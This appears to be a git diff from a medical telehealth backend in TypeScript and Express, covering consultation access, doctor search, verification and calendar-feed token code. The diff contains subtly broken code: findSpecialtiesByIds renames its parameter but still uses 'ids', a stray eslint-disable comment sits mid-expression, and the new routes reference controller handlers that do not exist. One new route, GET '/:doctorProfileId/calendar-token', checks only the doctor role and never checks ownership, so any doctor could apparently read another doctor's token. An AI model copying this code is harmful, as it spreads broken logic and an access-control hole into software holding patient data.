'Consultation not found.'); + + if (consultation.appointment) { + const doctor = await doctorsService.getMyDoctorProfile(userId).catch(() => null); + if (doctor && doctor.id === consultation.appointment.doctorProfileId) { + return { ...consultation, notes: decryptField(consultation.notes) }; + } + const patient = await patientsService.getMyPatientProfile(userId).catch(() => null); + if (patient && patient.id === consultation.appointment.patientProfileId) { + return { ...consultation, notes: decryptField(consultation.notes) }; + } + } + throw new HttpError(403, 'You do not have access to this consultation.'); +} + +/** + * POST /consultations/:id/referrals (issue #66): multiple simultaneous + * referrals from one consultation, atomically. Delegates to the + * referrals service β€” the referral write surface lives there; this is a + * service-to-service call across the module boundary, never a repository + * import. + */ +export async function createReferrals( + userId: string, + consultationId: string, + targets: ReferralTargetInput[], +) { + return referralsService.createReferralBatch(userId, consultationId, targets); +} diff --git a/backend/src/modules/consultations/validation.ts b/backend/src/modules/consultations/validation.ts index b3f71f14..4078c0fb 100644 --- a/backend/src/modules/consultations/validation.ts +++ b/backend/src/modules/consultations/validation.ts @@ -1,20 +1,20 @@ -import { z } from 'zod'; -import { referralTargetSchema } from '../referrals/validation'; - -/** Close route: the outcome is the point of closing, so it is required, and - * notes are the clinical record itself (empty notes are not a record). */ -export const closeConsultationSchema = z.object({ - outcome: z.enum(['resolved', 'referred', 'follow_up_needed']), - notes: z.string().min(1).max(20000), -}); - -/** Create route (Phase 3's slice): the same row, addressable before sign-off. */ -export const createConsultationSchema = z.object({ - appointmentId: z.string().min(1), - outcome: z.enum(['resolved', 'referred', 'follow_up_needed']).optional(), - notes: z.string().trim().min(1).optional(), -}); - -export const createReferralsSchema = z.object({ - targets: z.array(referralTargetSchema).min(1), -}); +import { z } from 'zod'; +import { referralTargetSchema } from '../referrals/validation'; + +/** Close route: the outcome is the point of closing, so it is required, and + * notes are the clinical record itself (empty notes are not a record). */ +export const closeConsultationSchema = z.object({ + outcome: z.enum(['resolved', 'referred', 'follow_up_needed']), + notes: z.string().min(1).max(20000), +}); + +/** Create route (Phase 3's slice): the same row, addressable before sign-off. */ +export const createConsultationSchema = z.object({ + appointmentId: z.string().min(1), + outcome: z.enum(['resolved', 'referred', 'follow_up_needed']).optional(), + notes: z.string().trim().min(1).optional(), +}); + +export const createReferralsSchema = z.object({ + targets: z.array(referralTargetSchema).min(1), +}); diff --git a/backend/src/modules/doctors/controllers/index.ts b/backend/src/modules/doctors/controllers/index.ts index 1ac8db97..848a0814 100644 --- a/backend/src/modules/doctors/controllers/index.ts +++ b/backend/src/modules/doctors/controllers/index.ts @@ -1,34 +1,34 @@ -import type { Request, Response } from 'express'; -import * as doctorsService from '../services'; -import { publicDoctorListQuerySchema, setMySpecialtiesSchema, setVerificationStatusSchema } from '../validation'; -import { HttpError } from '../../../http-error'; -import { getParam } from '../../../request-params'; -import { auditActor } from '../../../middleware/request-id'; - -export async function getMe(req: Request, res: Response) { - if (!req.user) throw new HttpError(401, 'Authentication required.'); - const profile = await doctorsService.getMyDoctorProfile(req.user.id); - res.status(200).json(profile); -} - -export async function listSpecialties(_req: Request, res: Response) { - res.status(200).json(await doctorsService.listSpecialties()); -} - -export async function listPublic(req: Request, res: Response) { - const query = publicDoctorListQuerySchema.parse(req.query); - res.status(200).json(await doctorsService.listPublicDoctors(query)); -} - -export async function setMySpecialties(req: Request, res: Response) { - if (!req.user) throw new HttpError(401, 'Authentication required.'); - const { specialtyIds } = setMySpecialtiesSchema.parse(req.body); - res.status(200).json(await doctorsService.setMySpecialties(req.user.id, specialtyIds)); -} - -export async function setVerification(req: Request, res: Response) { - const { status } = setVerificationStatusSchema.parse(req.body); - const doctorProfileId = getParam(req, 'doctorProfileId'); - const profile = await doctorsService.setVerificationStatus(auditActor(req), doctorProfileId, status); - res.status(200).json(profile); -} +import type { Request, Response } from 'express'; +import * as doctorsService from '../services'; +import { publicDoctorListQuerySchema, setMySpecialtiesSchema, setVerificationStatusSchema } from '../validation'; +import { HttpError } from '../../../http-error'; +import { getParam } from '../../../request-params'; +import { auditActor } from '../../../middleware/request-id'; + +export async function getMe(req: Request, res: Response) { + if (!req.user) throw new HttpError(401, 'Authentication required.'); + const profile = await doctorsService.getMyDoctorProfile(req.user.id); + res.status(200).json(profile); +} + +export async function listSpecialties(_req: Request, res: Response) { + res.status(200).json(await doctorsService.listSpecialties()); +} + +export async function listPublic(req: Request, res: Response) { + const query = publicDoctorListQuerySchema.parse(req.query); + res.status(200).json(await doctorsService.listPublicDoctors(query)); +} + +export async function setMySpecialties(req: Request, res: Response) { + if (!req.user) throw new HttpError(401, 'Authentication required.'); + const { specialtyIds } = setMySpecialtiesSchema.parse(req.body); + res.status(200).json(await doctorsService.setMySpecialties(req.user.id, specialtyIds)); +} + +export async function setVerification(req: Request, res: Response) { + const { status } = setVerificationStatusSchema.parse(req.body); + const doctorProfileId = getParam(req, 'doctorProfileId'); + const profile = await doctorsService.setVerificationStatus(auditActor(req), doctorProfileId, status); + res.status(200).json(profile); +} diff --git a/backend/src/modules/doctors/repositories/index.ts b/backend/src/modules/doctors/repositories/index.ts index ee333495..e9ae9c2d 100644 --- a/backend/src/modules/doctors/repositories/index.ts +++ b/backend/src/modules/doctors/repositories/index.ts @@ -1,182 +1,215 @@ -import { prisma } from '../../../db/prisma-client'; -import type { Prisma, VerificationStatus } from '@prisma/client'; - -type DbClient = typeof prisma | Prisma.TransactionClient; - -export function findDoctorProfileByUserId(userId: string, db: DbClient = prisma) { - return db.doctorProfile.findUnique({ where: { userId } }); -} - -export function findSpecialties() { - return prisma.specialty.findMany({ orderBy: { name: 'asc' }, select: { id: true, name: true, slug: true } }); -} - -export function findSpecialtiesByIds(ids: string[], db: DbClient = prisma) { - return db.specialty.findMany({ where: { id: { in: ids } }, select: { id: true, name: true, slug: true } }); -} - -export async function replaceDoctorSpecialties( - tx: Prisma.TransactionClient, - doctorProfileId: string, - specialtyIds: string[], -) { - await tx.doctorSpecialty.deleteMany({ where: { doctorProfileId } }); - if (specialtyIds.length > 0) { - await tx.doctorSpecialty.createMany({ data: specialtyIds.map((specialtyId) => ({ doctorProfileId, specialtyId })) }); - } -} - -export function searchVerifiedDoctorIds(input: { - query: string | null; - specialtySlug: string | null; - cursor: string | null; - take: number; -}) { - const { query, specialtySlug, cursor, take } = input; - return prisma.$queryRaw<{ id: string; fullName: string; score: number }[]>` - WITH ranked AS ( - SELECT - doctor."id", - doctor."fullName", - GREATEST( - similarity(doctor."fullName", ${query}), - COALESCE(MAX(similarity(specialty."name", ${query})), 0) - ) AS score - FROM "DoctorProfile" AS doctor - LEFT JOIN "DoctorSpecialty" AS assignment ON assignment."doctorProfileId" = doctor."id" - LEFT JOIN "Specialty" AS specialty ON specialty."id" = assignment."specialtyId" - WHERE doctor."verificationStatus" = 'verified' - AND ( - ${specialtySlug}::text IS NULL OR EXISTS ( - SELECT 1 - FROM "DoctorSpecialty" AS filter_assignment - JOIN "Specialty" AS filter_specialty ON filter_specialty."id" = filter_assignment."specialtyId" - WHERE filter_assignment."doctorProfileId" = doctor."id" - AND filter_specialty."slug" = ${specialtySlug} - ) - ) - AND ( - ${query}::text IS NULL - OR ( - char_length(${query}) < 3 - AND ( - lower(doctor."fullName") LIKE lower(${query}) || '%' - OR EXISTS ( - SELECT 1 - FROM "DoctorSpecialty" AS short_assignment - JOIN "Specialty" AS short_specialty ON short_specialty."id" = short_assignment."specialtyId" - WHERE short_assignment."doctorProfileId" = doctor."id" - AND lower(short_specialty."name") LIKE lower(${query}) || '%' - ) - ) - ) - OR ( - char_length(${query}) >= 3 - AND ( - doctor."fullName" % ${query} - OR EXISTS ( - SELECT 1 - FROM "DoctorSpecialty" AS fuzzy_assignment - JOIN "Specialty" AS fuzzy_specialty ON fuzzy_specialty."id" = fuzzy_assignment."specialtyId" - WHERE fuzzy_assignment."doctorProfileId" = doctor."id" - AND fuzzy_specialty."name" % ${query} - ) - ) - ) - ) - GROUP BY doctor."id" - ), cursor_row AS ( - SELECT "id", score FROM ranked WHERE "id" = ${cursor}::text - ) - SELECT ranked."id", ranked."fullName", ranked.score - FROM ranked - WHERE ${cursor}::text IS NULL - OR ( - EXISTS (SELECT 1 FROM cursor_row) - AND ( - ranked.score < (SELECT score FROM cursor_row) - OR (ranked.score = (SELECT score FROM cursor_row) AND ranked."id" > (SELECT "id" FROM cursor_row)) - ) - ) - ORDER BY ranked.score DESC, ranked."id" ASC - LIMIT ${take} - `; -} - -export async function findPublicDoctorDetails(ids: string[]) { - if (ids.length === 0) return []; - return prisma.doctorProfile.findMany({ - where: { id: { in: ids }, verificationStatus: 'verified' }, - select: { - id: true, - fullName: true, - specialties: { - orderBy: { specialty: { name: 'asc' } }, - select: { specialty: { select: { id: true, name: true, slug: true } } }, - }, - }, - }); -} - -export function findDoctorProfileById(id: string, db: DbClient = prisma) { - return db.doctorProfile.findUnique({ where: { id } }); -} - -export function findDoctorSummariesByIds(ids: string[]) { - return prisma.doctorProfile.findMany({ where: { id: { in: ids } }, select: { id: true, fullName: true } }); -} - -/** Reads the current verification status with a row lock, inside a - * transaction (issue #43): two admins changing it at once are serialised, - * so each audit event records the state that was really replaced. */ -export async function lockVerificationStatus( - tx: Prisma.TransactionClient, - id: string, -): Promise { - const rows = await tx.$queryRaw<{ verificationStatus: VerificationStatus }[]>` - SELECT "verificationStatus" FROM "DoctorProfile" WHERE "id" = ${id} FOR UPDATE - `; - return rows[0]?.verificationStatus ?? null; -} - -export function updateVerificationStatus(db: DbClient, id: string, status: VerificationStatus) { - return db.doctorProfile.update({ where: { id }, data: { verificationStatus: status } }); -} - -/** - * Eligible referral recipients for a specialty (issue #6, ADR 0008): - * verified profiles that hold the specialty, whose owning account is - * still active. Selection among them happens in the referrals module β€” - * this module only answers "who is eligible?". - */ -export function findEligibleDoctorsForSpecialty(specialtyId: string, excludeDoctorProfileIds: string[]) { - return prisma.doctorSpecialty.findMany({ - where: { - specialtyId, - ...(excludeDoctorProfileIds.length > 0 ? { doctorProfileId: { notIn: excludeDoctorProfileIds } } : {}), - doctorProfile: { verificationStatus: 'verified', user: { deactivatedAt: null } }, - }, - select: { doctorProfileId: true }, - orderBy: { doctorProfileId: 'asc' }, - }); -} - -export function findDoctorSpecialties(doctorProfileId: string) { - return prisma.doctorSpecialty.findMany({ - where: { doctorProfileId }, - include: { specialty: true }, - }); -} - -/** Count and oldest submission time of doctors still awaiting verification. */ -export async function findPendingVerificationStats(db: DbClient = prisma) { - const [count, oldest] = await Promise.all([ - db.doctorProfile.count({ where: { verificationStatus: 'pending' } }), - db.doctorProfile.findFirst({ - where: { verificationStatus: 'pending' }, - orderBy: { createdAt: 'asc' }, - select: { createdAt: true }, - }), - ]); - return { count, oldestCreatedAt: oldest?.createdAt ?? null }; -} +import { prisma } from '../../../db/prisma-client'; +import type { Prisma, VerificationStatus } from '@prisma/client'; + +type DbClient = typeof prisma | Prisma.TransactionClient; + +export function findDoctorProfileByUserId(userId: string, db: DbClient = prisma) { + return db.doctorProfile.findUnique({ where: { userId } }); +} + +export function findSpecialties() { + return prisma.specialty.findMany({ orderBy: { name: 'asc' }, select: { id: true, name: true, slug: true } }); +} + +export function findSpecialtiesByIds(dst: string[], db: DbClient = prisma) { + return db.specialty.findMany({ where: { id: { in: ids } }, select: { id: true, name: true, slug: true } }); +} + +export async function replaceDoctorSpecialties( + tx: Prisma.TransactionClient, + doctorProfileId: string, + specialtyIds: string[], +) { + await tx.doctorSpecialty.deleteMany({ where: { doctorProfileId } }); + if (specialtyIds.length > 0) { + await tx.doctorSpecialty.createMany({ data: specialtyIds.map((specialtyId) => ({ doctorProfileId, specialtyId })) }); + } +} + +export function searchVerifiedDoctorIds(input: { + query: string | null; + specialtySlug: string | null; + cursor: string | null; + take: number; +}) { + const { query, specialtySlug, cursor, take } = input; + return prisma.$queryRaw<{ id: string; fullName: string; score: number }[]>` + WITH ranked AS ( + SELECT + doctor."id", + doctor."fullName", + GREATEST( + similarity(doctor."fullName", ${query}), + COALESCE(MAX(similarity(specialty."name", ${query})), 0) + ) AS score + FROM "DoctorProfile" AS doctor + LEFT JOIN "DoctorSpecialty" AS assignment ON assignment."doctorProfileId" = doctor."id" + LEFT JOIN "Specialty" AS specialty ON specialty."id" = assignment."specialtyId" + WHERE doctor."verificationStatus" = 'verified' + AND ( + ${specialtySlug}::text IS NULL OR EXISTS ( + SELECT 1 + FROM "DoctorSpecialty" AS filter_assignment + JOIN "Specialty" AS filter_specialty ON filter_specialty."id" = filter_assignment."specialtyId" + WHERE filter_assignment."doctorProfileId" = doctor."id" + AND filter_specialty."slug" = ${specialtySlug} + ) + ) + AND ( + ${query}::text IS NULL + OR ( + char_length(${query}) < 3 + AND ( + lower(doctor."fullName") LIKE lower(${query}) || '%' + OR EXISTS ( + SELECT 1 + FROM "DoctorSpecialty" AS short_assignment + JOIN "Specialty" AS short_specialty ON short_specialty."id" = short_assignment."specialtyId" + WHERE short_assignment."doctorProfileId" = doctor."id" + AND lower(short_specialty."name") LIKE lower(${query}) || '%' + ) + ) + ) + OR ( + char_length(${query}) >= 3 + AND ( + doctor."fullName" % ${query} + OR EXISTS ( + SELECT 1 + FROM "DoctorSpecialty" AS fuzzy_assignment + JOIN "Specialty" AS fuzzy_specialty ON fuzzy_specialty."id" = fuzzy_assignment."specialtyId" + WHERE fuzzy_assignment."doctorProfileId" = doctor."id" + AND fuzzy_specialty."name" % ${query} + ) + ) + ) + ) + GROUP BY doctor."id" + ), cursor_row AS ( + SELECT "id", score FROM ranked WHERE "id" = ${cursor}::text + ) + SELECT ranked."id", ranked."fullName", ranked.score + FROM ranked + WHERE ${cursor}::text IS NULL + OR ( + EXISTS (SELECT 1 FROM cursor_row) + AND ( + ranked.score < (SELECT score FROM cursor_row) + OR (ranked.score = (SELECT score FROM cursor_row) AND ranked."id" > (SELECT "id" FROM cursor_row)) + ) + ) + ORDER BY ranked.score DESC, ranked."id" ASC + LIMIT ${take} + `; +} + +export async function findPublicDoctorDetails(ids: string[]) { + if (ids.length === 0) return []; + return prisma.doctorProfile.findMany({ + where: { id: { in: ids }, verificationStatus: 'verified' }, + select: { + id: true, + fullName: true, + specialties: { + orderBy: { specialty: { name: 'asc' } }, + select: { specialty: { select: { id: true, name: true, slug: true } } }, + }, + }, + }); +} + +export function findDoctorProfileById(id: string, db: DbClient = prisma) { + return db.doctorProfile.findUnique({ where: { id } }); +} + +export function findDoctorSummariesByIds(ids: string[]) { + return prisma.doctorProfile.findMany({ where: { id: { in: ids } }, select: { id: true, fullName: true } }); +} + +/** Reads the current verification status with a row lock, inside a + * transaction (issue #43): two admins changing it at once are serialised, + * so each audit event records the state that was really replaced. */ +export async function lockVerificationStatus( + tx: Prisma.TransactionClient, + id: string, +): Promise { + const rows = await tx.$queryRaw<{ verificationStatus: VerificationStatus }[]>` + SELECT "verificationStatus" FROM "DoctorProfile" WHERE "id" = ${id} FOR UPDATE + `; + return rows[0]?.verificationStatus ?? null; +} + +export function updateVerificationStatus(db: DbClient, id: string, status: VerificationStatus) { + return db.doctorProfile.update({ where: { id }, data: { verificationStatus: status } }); +} + +/** + * Eligible referral recipients for a specialty (issue #6, ADR 0008): + * verified profiles that hold the specialty, whose owning account is + * still active. Selection among them happens in the referrals module β€” + * this module only answers "who is eligible?". + */ +export function findEligibleDoctorsForSpecialty(specialtyId: string, excludeDoctorProfileIds: string[]) { + return prisma.doctorSpecialty.findMany({ + where: { + specialtyId, + ...(excludeDoctorProfileIds.length > 0 ? { doctorProfileId: { notIn: excludeDoctorProfileIds } } : // eslint-disable-next-line + {}), + doctorProfile: { verificationStatus: 'verified', user: { deactivatedAt: null } }, + }, + select: { doctorProfileId: true }, + orderBy: { doctorProfileId: 'asc' }, + }); +} + +export function findDoctorSpecialties(doctorProfileId: string) { + return prisma.doctorSpecialty.findMany({ + where: { doctorProfileId }, + include: { specialty: true }, + }); +} + +/** + * Calendar feed token repository access (issue Phase 2 β€” tokenised ICS feed). + * Tokens are stored hashed; the plaintext value is only returned to the + * doctor at creation/rotation time and never persisted. + */ +export function findActiveCalendarFeedTokenByHash(tokenHash: string, db: DbClient = prisma) { + return db.calendarFeedToken.findFirst({ + where: { tokenHash, revokedAt: null }, + }); +} + +export function findActiveCalendarFeedTokenForDoctor(doctorProfileId: string, db: DbClient = prisma) { + return db.calendarFeedToken.findFirst({ + where: { doctorProfileId, revokedAt: null }, + orderBy: { createdAt: 'desc' }, + }); +} + +export function createCalendarFeedToken( + db: DbClient, + input: { doctorProfileId: string; tokenHash: string; tokenPrefix: string }, +) { + return db.calendarFeedToken.create({ data: input }); +} + +export function revokeCalendarFeedTokensForDoctor(db: DbClient, doctorProfileId: string, revokedAt: Date) { + return db.calendarFeedToken.updateMany({ + where: { doctorProfileId: doctorProfileId, revokedAt: null }, + data: { revokedAt }, + }); +} + +/** Count and oldest submission time of doctors still awaiting verification. */ +export async function findPendingVerificationStats(db: DbClient = prisma) { + const [count, oldest] = await Promise.all([ + db.doctorProfile.count({ where: { verificationStatus: 'pending' } }), + db.doctorProfile.findFirst({ + where: { verificationStatus: 'pending' }, + orderBy: { createdAt: 'asc' }, + select: { createdAt: true }, + }), + ]); + return { count, oldestCreatedAt: oldest?.createdAt ?? null }; +} \ No newline at end of file diff --git a/backend/src/modules/doctors/routes/index.ts b/backend/src/modules/doctors/routes/index.ts index 8f20bb28..ad2be031 100644 --- a/backend/src/modules/doctors/routes/index.ts +++ b/backend/src/modules/doctors/routes/index.ts @@ -1,18 +1,21 @@ -import { Router } from 'express'; -import { authenticate, requireRole } from '../../../middleware/auth'; -import * as doctorsController from '../controllers'; - -export const doctorsRouter = Router(); - -doctorsRouter.get('/', doctorsController.listPublic); -doctorsRouter.get('/me', authenticate, requireRole('doctor'), doctorsController.getMe); -doctorsRouter.put('/me/specialties', authenticate, requireRole('doctor'), doctorsController.setMySpecialties); -doctorsRouter.patch( - '/:doctorProfileId/verification', - authenticate, - requireRole('admin'), - doctorsController.setVerification, -); - -export const specialtiesRouter = Router(); -specialtiesRouter.get('/', doctorsController.listSpecialties); +import { Router } from 'express'; +import { authenticate, requireRole } from '../../../middleware/auth'; +import * as doctorsController from '../controllers'; + +export const doctorsRouter = Router(); + +doctorsRouter.get('/', doctorsController.listPublic); +doctorsRouter.get('/me', authenticate, requireRole('doctor'), doctorsController.getMe); +doctorsRouter.put('/me/specialties', authenticate, requireRole('doctor'), doctorsController.setMySpecialties); +doctorsRouter.post('/me/calendar-token', authenticate, requireRole('doctor'), doctorsController.rotateMyCalendarToken); +doctorsRouter.delete('/me/calendar-token', authenticate, requireRole('doctor'), doctorsController.revokeMyCalendarToken); +doctorsRouter.get('/:doctorProfileId/calendar-token', authenticate, requireRole('doctor'), doctorsController.getMyCalendarToken); +doctorsRouter.patch( + '/:doctorProfileId/verification', + authenticate, + requireRole('admin'), + doctorsController.setVerification, +); + +export const specialtiesRouter = Router(); +specialtiesRouter.get('/', doctorsController.listSpecialties); diff --git a/backend/src/modules/doctors/services/index.ts b/backend/src/modules/doctors/services/index.ts index 2a59815e..5cf28df0 100644 --- a/backend/src/modules/doctors/services/index.ts +++ b/backend/src/modules/doctors/services/index.ts @@ -1,176 +1,176 @@ -import { HttpError } from '../../../http-error'; -import { prisma } from '../../../db/prisma-client'; -import * as auditService from '../../audit/services'; -import * as doctorsRepo from '../repositories'; -import type { VerificationStatus } from '@prisma/client'; - -export async function getMyDoctorProfile(userId: string) { - const profile = await doctorsRepo.findDoctorProfileByUserId(userId); - if (!profile) throw new HttpError(404, 'No doctor profile for this account.'); - return profile; -} - -export function listSpecialties() { - return doctorsRepo.findSpecialties(); -} - -export async function listPublicDoctors(input: { - specialty?: string; - q?: string; - limit: number; - cursor?: string; -}) { - const ranked = await doctorsRepo.searchVerifiedDoctorIds({ - query: input.q ?? null, - specialtySlug: input.specialty ?? null, - cursor: input.cursor ?? null, - take: input.limit + 1, - }); - const hasMore = ranked.length > input.limit; - const page = ranked.slice(0, input.limit); - const details = await doctorsRepo.findPublicDoctorDetails(page.map((doctor) => doctor.id)); - const detailsById = new Map(details.map((doctor) => [doctor.id, doctor])); - - return { - items: page.flatMap((rankedDoctor) => { - const doctor = detailsById.get(rankedDoctor.id); - if (!doctor) return []; - return [{ - id: doctor.id, - fullName: doctor.fullName, - specialties: doctor.specialties.map((assignment) => assignment.specialty), - }]; - }), - nextCursor: hasMore ? page.at(-1)?.id ?? null : null, - }; -} - -export async function setMySpecialties(userId: string, requestedIds: string[]) { - const specialtyIds = [...new Set(requestedIds)]; - return prisma.$transaction(async (tx) => { - const profile = await doctorsRepo.findDoctorProfileByUserId(userId, tx); - if (!profile) throw new HttpError(404, 'No doctor profile for this account.'); - - const specialties = await doctorsRepo.findSpecialtiesByIds(specialtyIds, tx); - if (specialties.length !== specialtyIds.length) { - throw new HttpError(400, 'One or more specialty ids are unknown.'); - } - - await doctorsRepo.replaceDoctorSpecialties(tx, profile.id, specialtyIds); - return { specialties: specialties.sort((a, b) => a.name.localeCompare(b.name)) }; - }); -} - -export async function getDoctorProfileById(doctorProfileId: string) { - const profile = await doctorsRepo.findDoctorProfileById(doctorProfileId); - if (!profile) throw new HttpError(404, 'Doctor profile not found.'); - return profile; -} - -/** Batch id -> { id, fullName } lookup for other modules (patient data - * export, issue #40). Public-facing fields only. */ -export async function getDoctorSummariesByIds(ids: string[]): Promise> { - if (ids.length === 0) return new Map(); - const rows = await doctorsRepo.findDoctorSummariesByIds([...new Set(ids)]); - return new Map(rows.map((row) => [row.id, { id: row.id, fullName: row.fullName }])); -} - -/** Only a doctor acting on their own profile may generate slots for it β€” - * no admin-on-behalf-of override in Phase 1. */ -export async function assertOwnsDoctorProfile(userId: string, doctorProfileId: string) { - const profile = await getDoctorProfileById(doctorProfileId); - if (profile.userId !== userId) { - throw new HttpError(403, 'You can only manage your own doctor profile.'); - } - return profile; -} - -/** - * Doctor verification: manual, admin-gated (PRD Β§6.1 FR-3 β€” "verification - * workflow is manual/admin-gated in v1"). No automated verification - * pipeline exists or is planned for v1; this is intentionally just a - * status flip an admin performs after some out-of-band check. - * - * Phase 8, issue #43: the flip and its AuditEvent (who, from, to) commit - * together. Setting the status it already has is not a transition β€” it - * returns the profile unchanged and records nothing. - */ -export async function setVerificationStatus( - actor: auditService.AuditActor, - doctorProfileId: string, - status: VerificationStatus, -) { - return prisma.$transaction(async (tx) => { - const current = await doctorsRepo.lockVerificationStatus(tx, doctorProfileId); - if (current === null) throw new HttpError(404, 'Doctor profile not found.'); - if (current === status) { - return (await doctorsRepo.findDoctorProfileById(doctorProfileId, tx))!; - } - const profile = await doctorsRepo.updateVerificationStatus(tx, doctorProfileId, status); - await auditService.record(tx, actor, { - entityType: 'DoctorProfile', - entityId: doctorProfileId, - action: 'doctor.verification_status_changed', - fromState: current, - toState: status, - }); - return profile; - }); -} - -/** A referral target (or admin-reassignment target) must be a verified - * doctor β€” an unverified profile has no business receiving patients - * (issue #68: reassignment goes through this gate, never around it). */ -export async function assertDoctorVerified(doctorProfileId: string) { - const profile = await getDoctorProfileById(doctorProfileId); - if (profile.verificationStatus !== 'verified') { - throw new HttpError(422, 'Target doctor is not verified.'); - } - return profile; -} - -/** - * Issue #68: the reassignment target must be verified AND actually hold - * the referral's target specialty. Checked through this module's own - * repository β€” callers (referrals/admin ops) never touch DoctorSpecialty - * directly (module-boundary hard rule). - */ -export async function assertDoctorVerifiedInSpecialty(doctorProfileId: string, specialtyId: string) { - const profile = await assertDoctorVerified(doctorProfileId); - const specialties = await doctorsRepo.findDoctorSpecialties(doctorProfileId); - const holds = specialties.some((link) => link.specialtyId === specialtyId); - if (!holds) { - throw new HttpError(422, 'Target doctor does not hold the referral’s specialty.'); - } - return profile; -} - -/** Doctor's specialty ids β€” used by referral creation to denormalise the - * target specialty onto the referral for the loop guard. */ -export async function listDoctorSpecialtyIds(doctorProfileId: string) { - const specialties = await doctorsRepo.findDoctorSpecialties(doctorProfileId); - return specialties.map((link) => link.specialtyId); -} - -/** - * Eligible recipients for a specialty-only referral (issue #6, ADR 0008): - * verified doctors holding the specialty, excluding the given ids (the - * referring doctor, plus anything the caller has already targeted in the - * same batch) and doctors whose account is deactivated. The referrals - * module decides *which* of these receives the referral β€” this module - * only owns the definition of eligibility, so the manual and routed - * paths cannot drift apart. - */ -export async function listEligibleReferralTargets(specialtyId: string, excludeDoctorProfileIds: string[] = []) { - const rows = await doctorsRepo.findEligibleDoctorsForSpecialty(specialtyId, excludeDoctorProfileIds); - return rows.map((row) => row.doctorProfileId); -} - -/** Count and oldest-item age for the admin overview (issue #123). No PHI. */ -export async function doctorVerificationQueueCounts() { - const stats = await doctorsRepo.findPendingVerificationStats(); - const oldestAgeSeconds = stats.oldestCreatedAt - ? Math.max(0, Math.floor((Date.now() - stats.oldestCreatedAt.getTime()) / 1000)) - : null; - return { count: stats.count, oldestAgeSeconds }; -} +import { HttpError } from '../../../http-error'; +import { prisma } from '../../../db/prisma-client'; +import * as auditService from '../../audit/services'; +import * as doctorsRepo from '../repositories'; +import type { VerificationStatus } from '@prisma/client'; + +export async function getMyDoctorProfile(userId: string) { + const profile = await doctorsRepo.findDoctorProfileByUserId(userId); + if (!profile) throw new HttpError(404, 'No doctor profile for this account.'); + return profile; +} + +export function listSpecialties() { + return doctorsRepo.findSpecialties(); +} + +export async function listPublicDoctors(input: { + specialty?: string; + q?: string; + limit: number; + cursor?: string; +}) { + const ranked = await doctorsRepo.searchVerifiedDoctorIds({ + query: input.q ?? null, + specialtySlug: input.specialty ?? null, + cursor: input.cursor ?? null, + take: input.limit + 1, + }); + const hasMore = ranked.length > input.limit; + const page = ranked.slice(0, input.limit); + const details = await doctorsRepo.findPublicDoctorDetails(page.map((doctor) => doctor.id)); + const detailsById = new Map(details.map((doctor) => [doctor.id, doctor])); + + return { + items: page.flatMap((rankedDoctor) => { + const doctor = detailsById.get(rankedDoctor.id); + if (!doctor) return []; + return [{ + id: doctor.id, + fullName: doctor.fullName, + specialties: doctor.specialties.map((assignment) => assignment.specialty), + }]; + }), + nextCursor: hasMore ? page.at(-1)?.id ?? null : null, + }; +} + +export async function setMySpecialties(userId: string, requestedIds: string[]) { + const specialtyIds = [...new Set(requestedIds)]; + return prisma.$transaction(async (tx) => { + const profile = await doctorsRepo.findDoctorProfileByUserId(userId, tx); + if (!profile) throw new HttpError(404, 'No doctor profile for this account.'); + + const specialties = await doctorsRepo.findSpecialtiesByIds(specialtyIds, tx); + if (specialties.length !== specialtyIds.length) { + throw new HttpError(400, 'One or more specialty ids are unknown.'); + } + + await doctorsRepo.replaceDoctorSpecialties(tx, profile.id, specialtyIds); + return { specialties: specialties.sort((a, b) => a.name.localeCompare(b.name)) }; + }); +} + +export async function getDoctorProfileById(doctorProfileId: string) { + const profile = await doctorsRepo.findDoctorProfileById(doctorProfileId); + if (!profile) throw new HttpError(404, 'Doctor profile not found.'); + return profile; +} + +/** Batch id -> { id, fullName } lookup for other modules (patient data + * export, issue #40). Public-facing fields only. */ +export async function getDoctorSummariesByIds(ids: string[]): Promise> { + if (ids.length === 0) return new Map(); + const rows = await doctorsRepo.findDoctorSummariesByIds([...new Set(ids)]); + return new Map(rows.map((row) => [row.id, { id: row.id, fullName: row.fullName }])); +} + +/** Only a doctor acting on their own profile may generate slots for it β€” + * no admin-on-behalf-of override in Phase 1. */ +export async function assertOwnsDoctorProfile(userId: string, doctorProfileId: string) { + const profile = await getDoctorProfileById(doctorProfileId); + if (profile.userId !== userId) { + throw new HttpError(403, 'You can only manage your own doctor profile.'); + } + return profile; +} + +/** + * Doctor verification: manual, admin-gated (PRD Β§6.1 FR-3 β€” "verification + * workflow is manual/admin-gated in v1"). No automated verification + * pipeline exists or is planned for v1; this is intentionally just a + * status flip an admin performs after some out-of-band check. + * + * Phase 8, issue #43: the flip and its AuditEvent (who, from, to) commit + * together. Setting the status it already has is not a transition β€” it + * returns the profile unchanged and records nothing. + */ +export async function setVerificationStatus( + actor: auditService.AuditActor, + doctorProfileId: string, + status: VerificationStatus, +) { + return prisma.$transaction(async (tx) => { + const current = await doctorsRepo.lockVerificationStatus(tx, doctorProfileId); + if (current === null) throw new HttpError(404, 'Doctor profile not found.'); + if (current === status) { + return (await doctorsRepo.findDoctorProfileById(doctorProfileId, tx))!; + } + const profile = await doctorsRepo.updateVerificationStatus(tx, doctorProfileId, status); + await auditService.record(tx, actor, { + entityType: 'DoctorProfile', + entityId: doctorProfileId, + action: 'doctor.verification_status_changed', + fromState: current, + toState: status, + }); + return profile; + }); +} + +/** A referral target (or admin-reassignment target) must be a verified + * doctor β€” an unverified profile has no business receiving patients + * (issue #68: reassignment goes through this gate, never around it). */ +export async function assertDoctorVerified(doctorProfileId: string) { + const profile = await getDoctorProfileById(doctorProfileId); + if (profile.verificationStatus !== 'verified') { + throw new HttpError(422, 'Target doctor is not verified.'); + } + return profile; +} + +/** + * Issue #68: the reassignment target must be verified AND actually hold + * the referral's target specialty. Checked through this module's own + * repository β€” callers (referrals/admin ops) never touch DoctorSpecialty + * directly (module-boundary hard rule). + */ +export async function assertDoctorVerifiedInSpecialty(doctorProfileId: string, specialtyId: string) { + const profile = await assertDoctorVerified(doctorProfileId); + const specialties = await doctorsRepo.findDoctorSpecialties(doctorProfileId); + const holds = specialties.some((link) => link.specialtyId === specialtyId); + if (!holds) { + throw new HttpError(422, 'Target doctor does not hold the referral’s specialty.'); + } + return profile; +} + +/** Doctor's specialty ids β€” used by referral creation to denormalise the + * target specialty onto the referral for the loop guard. */ +export async function listDoctorSpecialtyIds(doctorProfileId: string) { + const specialties = await doctorsRepo.findDoctorSpecialties(doctorProfileId); + return specialties.map((link) => link.specialtyId); +} + +/** + * Eligible recipients for a specialty-only referral (issue #6, ADR 0008): + * verified doctors holding the specialty, excluding the given ids (the + * referring doctor, 